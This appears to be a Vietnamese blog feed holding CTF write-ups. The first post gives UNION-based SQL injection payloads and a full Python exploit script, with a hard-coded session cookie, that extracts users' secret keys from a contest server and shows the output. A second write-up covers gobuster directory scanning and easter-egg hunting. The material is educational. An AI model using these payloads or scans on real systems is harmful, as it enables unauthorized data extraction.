<pre><code class="lang-sql">'   UNION <span class="hljs-keyword">SELECT</span> <span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,printf(<span class="hljs-string">"M%s"</span>, <span class="hljs-keyword">substr</span>(secret_key,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>)),<span class="hljs-number">6</span>,<span class="hljs-number">7</span>,<span class="hljs-number">8</span>,<span class="hljs-number">9</span>,<span class="hljs-number">10</span>,<span class="hljs-number">11</span>,<span class="hljs-number">12</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">users</span><span class="hljs-comment">-- -</span>
</code></pre>
<p>Giải thích <code>printf("M%s", substr(secret_key,1,1))</code> : Mục đích tôi muốn lấy ký tự thứ 1 trong <code>secret_key</code> và nối với prefix là <code>M</code> (M là chữ cái đầu tên mình).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759115900595/65832113-c900-4ac5-9a1d-3d9bed580a21.png" alt class="image--center mx-auto" /></p>
<p>Thế nhưng, như thế này thì mỗi request tôi chỉ lấy được 1 key thôi ư? tôi có đến tận ít nhất 3 trường có thể đọc được dữ liệu là <code>address, dob, username</code> cơ mà. Bây giờ tôi sẽ nhồi nó vào thôi.</p>
<pre><code class="lang-sql">'   UNION <span class="hljs-keyword">SELECT</span> <span class="hljs-number">1</span>,printf(<span class="hljs-string">"M%s"</span>, <span class="hljs-keyword">substr</span>(secret_key,<span class="hljs-number">3</span>,<span class="hljs-number">1</span>)),<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,printf(<span class="hljs-string">"M%s"</span>, <span class="hljs-keyword">substr</span>(secret_key,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>)),printf(<span class="hljs-string">"M%s"</span>, <span class="hljs-keyword">substr</span>(secret_key,<span class="hljs-number">2</span>,<span class="hljs-number">1</span>)),<span class="hljs-number">7</span>,<span class="hljs-number">8</span>,<span class="hljs-number">9</span>,<span class="hljs-number">10</span>,<span class="hljs-number">11</span>,<span class="hljs-number">12</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">users</span><span class="hljs-comment">-- -</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759116051126/e67241ad-a16b-4a13-8216-2dbceefb5d8a.png" alt class="image--center mx-auto" /></p>
<p>Như vậy tôi có thể đoán đoán là một chuỗi gì đó dạng <code>CBJ***</code></p>
<p>Như hint đã cho là có tận 3 users lận, nên tôi nghĩ đến việc dùng <code>UNION ALL</code> để có thể lấy được tất cả cùng 1 lúc.</p>
<pre><code class="lang-sql">'   UNION ALL <span class="hljs-keyword">SELECT</span> <span class="hljs-number">1</span>,printf(<span class="hljs-string">"M%s"</span>, <span class="hljs-keyword">substr</span>(secret_key,<span class="hljs-number">3</span>,<span class="hljs-number">1</span>)),<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,printf(<span class="hljs-string">"M%s"</span>, <span class="hljs-keyword">substr</span>(secret_key,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>)),printf(<span class="hljs-string">"M%s"</span>, <span class="hljs-keyword">substr</span>(secret_key,<span class="hljs-number">2</span>,<span class="hljs-number">1</span>)),<span class="hljs-number">7</span>,<span class="hljs-number">8</span>,<span class="hljs-number">9</span>,<span class="hljs-number">10</span>,<span class="hljs-number">11</span>,<span class="hljs-number">12</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">users</span><span class="hljs-comment">-- -</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759116200875/80f3ed97-d122-4b67-ad60-17c45c8609b5.png" alt class="image--center mx-auto" /></p>
<p>Vậy thì giờ ta chỉ cần viết 1 vòng loop cho chạy với bước nhảy là 3 và request lên server là ok:</p>
<pre><code class="lang-python"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>, <span class="hljs-number">100</span>, <span class="hljs-number">3</span>):
    <span class="hljs-comment"># Request to server</span>
</code></pre>
<p>→ Hãy xem mã khai thác đầy đủ bên dưới.</p>
<h3 id="heading-khai-thac-1">Khai thác</h3>
<pre><code class="lang-python"><span class="hljs-comment"># 0xmanhnv</span>
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> urllib.parse <span class="hljs-keyword">import</span> quote_plus


final_secret1 = <span class="hljs-string">""</span>
final_secret2 = <span class="hljs-string">""</span>
final_secret3 = <span class="hljs-string">""</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>, <span class="hljs-number">100</span>, <span class="hljs-number">3</span>):

    <span class="hljs-comment"># Thay bằng target bạn có quyền test, ví dụ: http://localhost:8111</span>
    base_url = <span class="hljs-string">"http://152.42.200.249:8111/search"</span>


    first_char = <span class="hljs-string">f'printf("M%s", substr(secret_key,<span class="hljs-subst">{i}</span>,1))'</span>
    second_char = <span class="hljs-string">f'printf("M%s", substr(secret_key,<span class="hljs-subst">{i+<span class="hljs-number">1</span>}</span>,1))'</span>
    third_char = <span class="hljs-string">f'printf("M%s", substr(secret_key,<span class="hljs-subst">{i+<span class="hljs-number">2</span>}</span>,1))'</span>

    <span class="hljs-comment"># Put a harmless query here by default. Replace ONLY if you have explicit authorization.</span>
    payload = <span class="hljs-string">f"'   UNION ALL SELECT 1,<span class="hljs-subst">{third_char}</span>,3,4,<span class="hljs-subst">{first_char}</span>,<span class="hljs-subst">{second_char}</span>,7,8,9,10,11,12 from users-- -"</span>

    <span class="hljs-comment"># URL-encode the query parameter</span>
    params = {<span class="hljs-string">"q"</span>: payload}
    <span class="hljs-comment"># Or build full URL manually:</span>
    full_url = <span class="hljs-string">f"<span class="hljs-subst">{base_url}</span>?q=<span class="hljs-subst">{quote_plus(payload)}</span>"</span>

    <span class="hljs-comment"># Headers (copy from your original request as needed)</span>
    headers = {
        <span class="hljs-string">"User-Agent"</span>: <span class="hljs-string">"Mozilla/5.0 (compatible; ExampleBot/1.0)"</span>,
        <span class="hljs-string">"Accept"</span>: <span class="hljs-string">"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"</span>,
        <span class="hljs-string">"Accept-Language"</span>: <span class="hljs-string">"en-US,en;q=0.5"</span>,
        <span class="hljs-string">"Connection"</span>: <span class="hljs-string">"keep-alive"</span>,
        <span class="hljs-comment"># "Upgrade-Insecure-Requests": "1",  # optional</span>
    }

    <span class="hljs-comment"># Cookies (only include cookies you legitimately have)</span>
    cookies = {
        <span class="hljs-string">"team_session"</span>: <span class="hljs-string">"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJWTkRJUkVDVC03YzllMWIyZDU0YTMiLCJ0ZWFtX2FiYnIiOiJWTkRJUkVDVCIsInRlYW1fZnVsbF9uYW1lIjoiQ1x1MDBmNG5nIHR5IGNcdTFlZDUgcGhcdTFlYTduIGNoXHUxZWU5bmcga2hvXHUwMGUxbiBWTkRJUkVDVCIsImlzcyI6ImFpLWZyYXVkLWNoYWxsZW5nZSIsImlhdCI6MTc1ODg2ODI1MCwiZXhwIjoxNzU4OTU0NjUwfQ.A1Qx6h0ThCI07VAQwx9KjPbG9OueAy45HEM-pXWrYCI"</span>
    }

    secret1=<span class="hljs-string">""</span>
    secret2=<span class="hljs-string">""</span>
    secret3=<span class="hljs-string">""</span>

    <span class="hljs-comment"># Use a session for connection reuse</span>
    <span class="hljs-keyword">with</span> requests.Session() <span class="hljs-keyword">as</span> s:
        s.headers.update(headers)
        <span class="hljs-comment"># If you prefer to pass params separately:</span>
        r = s.get(base_url, params=params, cookies=cookies, timeout=<span class="hljs-number">15</span>)

        print(<span class="hljs-string">"Requested URL:"</span>, r.url)
        print(<span class="hljs-string">"Status code:"</span>, r.status_code)
        <span class="hljs-comment"># Print first N characters of the response body for quick inspection</span>
        print(<span class="hljs-string">"--- Response---"</span>)
        results1 = r.json().get(<span class="hljs-string">"results"</span>)[len(r.json().get(<span class="hljs-string">"results"</span>)) - <span class="hljs-number">3</span>]
        results2 = r.json().get(<span class="hljs-string">"results"</span>)[len(r.json().get(<span class="hljs-string">"results"</span>)) - <span class="hljs-number">2</span>]
        results3 = r.json().get(<span class="hljs-string">"results"</span>)[len(r.json().get(<span class="hljs-string">"results"</span>)) - <span class="hljs-number">1</span>]

        secret1 += results1.get(<span class="hljs-string">"address"</span>).replace(<span class="hljs-string">"M"</span>, <span class="hljs-string">""</span>)
        secret1 += results1.get(<span class="hljs-string">"dob"</span>).replace(<span class="hljs-string">"M"</span>, <span class="hljs-string">""</span>)
        secret1 += results1.get(<span class="hljs-string">"username"</span>).replace(<span class="hljs-string">"M"</span>, <span class="hljs-string">""</span>)

        secret2 += results2.get(<span class="hljs-string">"address"</span>).replace(<span class="hljs-string">"M"</span>, <span class="hljs-string">""</span>)
        secret2 += results2.get(<span class="hljs-string">"dob"</span>).replace(<span class="hljs-string">"M"</span>, <span class="hljs-string">""</span>)
        secret2 += results2.get(<span class="hljs-string">"username"</span>).replace(<span class="hljs-string">"M"</span>, <span class="hljs-string">""</span>)

        secret3 += results3.get(<span class="hljs-string">"address"</span>).replace(<span class="hljs-string">"M"</span>, <span class="hljs-string">""</span>)
        secret3 += results3.get(<span class="hljs-string">"dob"</span>).replace(<span class="hljs-string">"M"</span>, <span class="hljs-string">""</span>)
        secret3 += results3.get(<span class="hljs-string">"username"</span>).replace(<span class="hljs-string">"M"</span>, <span class="hljs-string">""</span>)

        <span class="hljs-comment"># if results1.get("address").replace("M", "") == "" and results1.get("dob").replace("M", "") == "" and results1.get("username").replace("M", "") == "":</span>
        <span class="hljs-comment">#     break</span>

        final_secret1 += secret1
        final_secret2 += secret2
        final_secret3 += secret3
        print(final_secret1)
        print(final_secret2)
        print(final_secret3)

print(final_secret1) 
print(final_secret2) 
print(final_secret3)
</code></pre>
<p>Tiến hành chạy mã khai thác.</p>
<pre><code class="lang-bash">                                               _oo0oo_
                                              o8888888o
                                              88<span class="hljs-string">" . "</span>88
                                              (| -_- |)
                                              0\  =  /0
                                            ___/`---<span class="hljs-string">'\___
                                          .'</span> \|     |// <span class="hljs-string">'.
                                         / \|||  :  |||// \
                                        / _||||| -:- |||||- \
                                       |   | \  -  /// |   |
                                       | \_|  '</span><span class="hljs-string">'\---/'</span><span class="hljs-string">'  |_/ |
                                       \  .-\__  '</span>-<span class="hljs-string">'  ___/-. /
                                     ___'</span>. .<span class="hljs-string">'  /--.--\  `. .'</span>___
                                  .<span class="hljs-string">""</span> <span class="hljs-string">'&lt;  `.___\_&lt;|&gt;_/___.'</span> &gt;<span class="hljs-string">' "".
                                 | | :  `- \`.;`\ _ /`;.`/ - ` : | |
                                 \  \ `_.   \_ __\ /__ _/   .-` /  /
                             =====`-.____`.___ \_____/___.-`___.-'</span>=====
                                               `=---=<span class="hljs-string">'

                             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                Buddha Bless: Critical Bugs Incoming
➜  walif git:(main) ✗ python3 exp.py
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C3%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C1%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C2%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJ
CBJ
CBJ
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C6%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C4%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C5%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_S
CBJS_S
CBJS_S
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C9%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C7%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C8%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECR
CBJS_SECR
CBJS_SECR
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C12%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C10%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C11%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_
CBJS_SECRET_
CBJS_SECRET_
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C15%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C13%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C14%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nha
CBJS_SECRET_lin
CBJS_SECRET_duc
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C18%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C16%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C17%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9
CBJS_SECRET_linh_e
CBJS_SECRET_duc_h6
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C21%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C19%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C20%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e
CBJS_SECRET_linh_e3f9
CBJS_SECRET_duc_h6j4k
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C24%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C22%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C23%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1
CBJS_SECRET_linh_e3f9a8b
CBJS_SECRET_duc_h6j4k8l2
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C27%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C25%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C26%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1c4b
CBJS_SECRET_linh_e3f9a8b2c7
CBJS_SECRET_duc_h6j4k8l2m9n
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C30%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C28%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C29%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1c4b7a5
CBJS_SECRET_linh_e3f9a8b2c7d1x
CBJS_SECRET_duc_h6j4k8l2m9n5p7
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C33%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C31%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C32%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1c4b7a5k3m
CBJS_SECRET_linh_e3f9a8b2c7d1x5y9
CBJS_SECRET_duc_h6j4k8l2m9n5p7q1a</span>
</code></pre>
<p>Sau khi chạy chúng ta nhận được 3 chuỗi secret</p>
<pre><code class="lang-bash">CBJS_SECRET_nhan_9f8e2d1c4b7a5k3m
CBJS_SECRET_linh_e3f9a8b2c7d1x5y9
CBJS_SECRET_duc_h6j4k8l2m9n5p7q1a
</code></pre>
<h3 id="heading-get-flag-1">Get flag</h3>
<p>Truy cập <a target="_blank" href="http://152.42.200.249:8111/flag">http://152.42.200.249:8111/flag</a> và nhập 3 chuỗi Secret vào.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759089766379/1d6ce64d-3b4f-406a-9838-39e08bdec823.png" alt class="image--center mx-auto" /></p>
<p>Submit và nhận được flag <code>DF25{we_will_become_cyborg_in_AI_era}</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759089801001/ea23f11d-1b2b-4170-b8ce-afafd6cc81d8.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-cap-nhat-ngay-07102025">Cập nhật ngày 07/10/2025</h1>
<p>Mình tính viết tiếp mấy challenge mình đã giải được nhưng BTC cuộc thi đã tung ra mã nguồn cũng như solution về các challenge rồi, nên thôi không viết tiếp nữa.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759831969105/e85fe82d-5746-4a81-9f64-38c50971d7c7.png" alt class="image--center mx-auto" /></p>
<p>Các bạn có thể vào link BTC đăng để đọc nhé: <a target="_blank" href="https://github.com/CyberJutsu/Challenge-Writeups"><strong>https://github.com/CyberJutsu/Challenge-Writeups</strong></a></p>
<h1 id="heading-cam-on-cac-ban-va-ket-hoach-sap-toi">Cảm ơn các bạn và kết hoạch sắp tới</h1>
<p>Cảm ơn các bạn đã đọc bài viết của mình, dù mình đã lâu không còn viết blog nhưng khi viết một bài mới cũng bất ngờ vì các bạn còn nhớ đến mình và ủng hộ rất nhiều.</p>
<p>Nhưng đọc xong nhớ comment vào nhé mấy Ní :D</p>
<p>Nhân đây mình cũng muốn thông báo <strong>là sắp tới mình sẽ có ra thêm 1 loạt series về các kỹ thuật/Công cụ sử dụng trong redteam.</strong></p>
<p>Các bạn nhớ đón đọc nhé.</p>
<h1 id="heading-tuyen-dunghttpsgithubcomcyberjutsuchallenge-writeupsfbclidiwzxh0bgnhzw0cmtaaynjpzbexyvrbcdz2chj5mxvqowfowqeebikwqy33buvlexiyqi5z-dfpp5fznalm0dqupeox9iyiamvcchaehvb2miaemyjlz5orw9nnijq3c7xif5w"><a target="_blank" href="https://github.com/CyberJutsu/Challenge-Writeups?fbclid=IwZXh0bgNhZW0CMTAAYnJpZBExYVRBcDZ2cHJ5MXVQOWFOWQEeBIKwqY33bUvLexiyqi5z-dfpP5FzNAlm_0DQUpeOx9iYiAmVCChAeHvb2mI_aem_YJLZ5Orw9Nnijq3C7xIf5w">Tuyển dụng</a></h1>
<p>Team mình vẫn đang liên tục tuyển dụng số lượng lớn <code>Product security/Application security</code>, nếu A/E nào có như cầu thì liên hệ mình nhé.</p>
]]></content:encoded></item><item><title><![CDATA[Thông báo chuyển blog]]></title><description><![CDATA[Trước dây blog mình được build bằng hugo và deploy lên gihub, bây giờ mới nhận thấy một số vấn đề bất tiện nên mình quyết định chuyển nền tảng, nên các bài blog trước đó chưa thể migration lên kịp.
Nếu các bạn có hứng thú với các bài blog cũ của mình...]]></description><link>https://manhnv.com/thong-bao-chuyen-blog</link><guid isPermaLink="true">https://manhnv.com/thong-bao-chuyen-blog</guid><dc:creator><![CDATA[Manhnv]]></dc:creator><pubDate>Sat, 08 Feb 2025 11:06:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1739013205689/be7bff49-da16-4672-a628-7ffba5015c37.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Trước dây blog mình được build bằng hugo và deploy lên gihub, bây giờ mới nhận thấy một số vấn đề bất tiện nên mình quyết định chuyển nền tảng, nên các bài blog trước đó chưa thể migration lên kịp.</p>
<p>Nếu các bạn có hứng thú với các bài blog cũ của mình thì có thể đọc nó tại: <a target="_blank" href="https://viblo.asia/u/0xmanhnv">https://viblo.asia/u/0xmanhnv</a></p>
<p>Mình xin cảm ơn!!!</p>
]]></content:encoded></item><item><title><![CDATA[Giật lì xì ‘rắn thần tài’ cực hay - CTF writeup]]></title><description><![CDATA[Xin chào độc giả của blog manhnv.com, tính từ lần cuối mình post bài lên blog 19/05/2022 đến nay cũng đã là 1000 ngày.

Để kỷ niệm 1000 ngày chưa post bài, nhân dịp giật được lì xì đầu năm của anh Mạnh Luật và anh Luật có gửi lời comeback viết writeu...]]></description><link>https://manhnv.com/giat-li-xi-ran-than-tai-cuc-hay-ctf-writeup</link><guid isPermaLink="true">https://manhnv.com/giat-li-xi-ran-than-tai-cuc-hay-ctf-writeup</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Manhnv]]></dc:creator><pubDate>Sat, 08 Feb 2025 10:57:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011286815/a7be6a12-b58c-4e56-b55b-ede4e7b12cf7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Xin chào độc giả của blog <a target="_blank" href="http://manhnv.com">manhnv.com</a>, tính từ lần cuối mình post bài lên blog 19/05/2022 đến nay cũng đã là 1000 ngày.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011365201/61db9905-d18d-4901-9b41-faef3606f425.png" alt class="image--center mx-auto" /></p>
<p>Để kỷ niệm 1000 ngày chưa post bài, nhân dịp giật được lì xì đầu năm của anh Mạnh Luật và anh Luật có gửi lời comeback viết writeup nên hôm nay mình quyết định dành chút thời gian viết lại writeup bài CTF do Cyberjutsu dựng có tên là: <strong>Rắn Thần Tài</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011385864/9a02718d-3c28-465d-b3f0-9fea1ea3e7a4.png" alt class="image--center mx-auto" /></p>
<p><code>wait a minute! Hãy like và subscribe vì nó miễn phí</code></p>
<h1 id="heading-de-bai">Đề bài</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011408036/3975aef2-f7c0-46af-b294-0ecea0a95149.png" alt class="image--center mx-auto" /></p>
<p>Đề bài là 1 website cùng một số mô tả về flag như trên hình.</p>
<p>Đặc biệt flag này có “<strong>vô số Easter Egg, ai tìm đủ Easter Egg sẽ có được mã lì xì Momo!” →</strong> Đây là lý do chính mình chơi bài CTF này :))) hehe :))) hehe :)))</p>
<p>(Vì là bài này viết cho các bạn chưa biết gì cũng học hỏi được, nên mình viết kỹ và chi tiết xíu nhé!!!)</p>
<h1 id="heading-recon">Recon</h1>
<h2 id="heading-chuan-bi">Chuẩn bị</h2>
<p>Chúng ta setup Burpsuite thì về cơ bản chắc các bạn biết rồi, trên hình chỉ là mình thêm target scope vào Burpsuite để xíu nữa filter nhìn đống HTTP history cho đỡ rối (bài nhập môn pentest nên là cái này mình không nói lại nữa nhé)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011430184/b19c3a1b-09de-454c-992d-919d716894fd.png" alt class="image--center mx-auto" /></p>
<p>Truy cập vào link web để xem thử mặt mũi nó ra làm sao, thì nhận được 1 trang web như sau</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011443313/acf81e20-2116-41a5-abc7-9c784b4f74c2.png" alt class="image--center mx-auto" /></p>
<p>Tuy trang đầu thôi, nhưng chúng ta cũng có 1 số thông tin có thể thu thập vào lưu ý:</p>
<ul>
<li><p>Web được dựng từ <a target="_blank" href="http://ASP.NET">ASP.NET</a></p>
</li>
<li><p>Có link tới chức năng chơi game (<code>Link này được thêm vào sau này, khi mình làm bài này thì link này đang để ẩn phải fuzz mới ra, nên mình cứ làm theo thứ tự như mình là nhé và coi như chưa biết link game</code>)</p>
</li>
</ul>
<p>Công việc đặt ra bây giờ là đi do thám và và khám phá xem web này là web gì? hoạt động ra làm sao?…</p>
<h2 id="heading-directory-scanning">Directory scanning</h2>
<p>Web hiển thị ra chỉ là mấy dòng chữ mình không thể biết được liệu đằng sau nó có chức năng gì khác không, nên mình sử dụng kỹ thuật gọi là directory scanning để tìm kiếm các đường dẫn ẩn, công cụ mình sử dụng có tên là: Gobuster</p>
<p>(Lưu ý: Để tránh bài viết quá dài mình sẽ không hướng dẫn lại các sử dụng nữa mà các bạn phải tự vào document của công cụ để đọc, mình chỉ đưa câu lệnh mình đã sử dụng vào bài thôi)</p>
<pre><code class="lang-bash">gobuster dir -u http://206.189.39.54:8085  -w ~/Tools/SecLists/Discovery/Web-Content/common.txt -x asp,aspx,conf,config,txt,html,htm -t 50
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011487075/ecc95caa-b507-422d-b6e3-771f26bc1159.png" alt class="image--center mx-auto" /></p>
<p>Sau khi chạy xong mình đã thu thập được 1 số URL, và mình sẽ tiến hành truy cập vào từng URL đó để xem nó là gì.</p>
<pre><code class="lang-bash">/Home
/game
/robots.txt
</code></pre>
<p>Tiếp tục thử scan dir thêm 1 lần nữa với <code>/game</code></p>
<pre><code class="lang-bash">gobuster dir -u &lt;http://206.189.39.54:8085/game&gt;  -w ~/Tools/SecLists/Discovery/Web-Content/common.txt -x asp,aspx,conf,config,txt,html,htm -t 50
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011527302/72a492ca-c5fb-473a-a68f-1f8f1cddf622.png" alt class="image--center mx-auto" /></p>
<p>Qua bước này thu thập được thêm các URL</p>
<pre><code class="lang-java">/game/Index
/game/feedback
</code></pre>
<h2 id="heading-web-discovery">Web discovery</h2>
<p><code>robots.txt</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011543954/3670469d-d7f4-4fca-a8b4-d7e9a0b5d2b7.png" alt class="image--center mx-auto" /></p>
<p>Sau khi truy cập vào robots.txt thu thập được thêm URL</p>
<pre><code class="lang-bash">/Game -&gt; Đã thu thập
/appsettings.json
/Admin
/Areas
/bin
/Controllers
/Models
</code></pre>
<p>Dùng browser truy cập hết các đường dẫn và quan sát Burpsuite</p>
<p><code>/Admin</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011558776/e1f2b339-e06e-411e-a840-4bdb28a8cced.png" alt class="image--center mx-auto" /></p>
<p>⇒ Response ở burpsuite → Thu được CBJS_EASTER_EGG</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011569453/4a4665ca-2036-4bb1-9910-df86a645e4d4.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-java">CBJS_EASTER_EGG{Part <span class="hljs-number">2</span>: /lixi/<span class="hljs-number">9</span>o3}
</code></pre>
<p>Sau bước này thì mình thu thập được thêm thông tin: <code>Server: Kestrel</code></p>
<p>Các đường dẫn khác như <code>/appsettings.json</code>; <code>/Areas</code>; <code>/bin</code>; <code>/Controllers</code>; <code>/Models</code> ⇒ Khi truy cập vào đều trả về <code>404 not found</code> ⇒ Tạm thời để đó đã nhé</p>
<p>Tiếp tục tìm hiểu <code>/game</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011636795/508b0ce1-5b29-46db-82af-3379c2788fe6.png" alt class="image--center mx-auto" /></p>
<p>Tôi thử bấm <code>bắt đầu</code> và quan sát khi rắn chạm tường thì được thông báo như vậy</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011644763/19af3bb6-713d-4e6f-b882-109f05f04709.png" alt class="image--center mx-auto" /></p>
<p>Tiếp tục truy cập thử với đường dẫn <code>/Game/Feedback</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011651517/5f0dd240-8e85-4704-955e-32f4718dca79.png" alt class="image--center mx-auto" /></p>
<p>⇒ Thử submit form, nhưng khi xem trong request burpsuite thì lại không nhận được request nào, nên tôi thử đọc html,js của nó xem</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011667841/f80d3ea5-d953-4ff9-9771-811ca4075f09.png" alt class="image--center mx-auto" /></p>
<p>⇒ Trong html có thẻ img base64 ⇒ nhưng lại không được render ?</p>
<p>Thử decode base64</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739011673682/b07e8d2d-92b1-4f2f-88c4-031a1f95b51e.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-java">CBJS_EASTER_EGG{Part <span class="hljs-number">3</span>: XA5V}
</code></pre>
<p>Ngoài ra, tìm được thêm <code>/Feedback/Submit</code> Nhưng khi cố gắng thử truy cập hay gửi request đến url này thì đường như không thể, mặc dù đã thử mọi url có thể như vẫn <code>404 not found</code></p>
<ul>
<li><p><code>/game/Feedback/Submit</code></p>
</li>
<li><p><code>/Admin/Feedback/Submit</code></p>
</li>
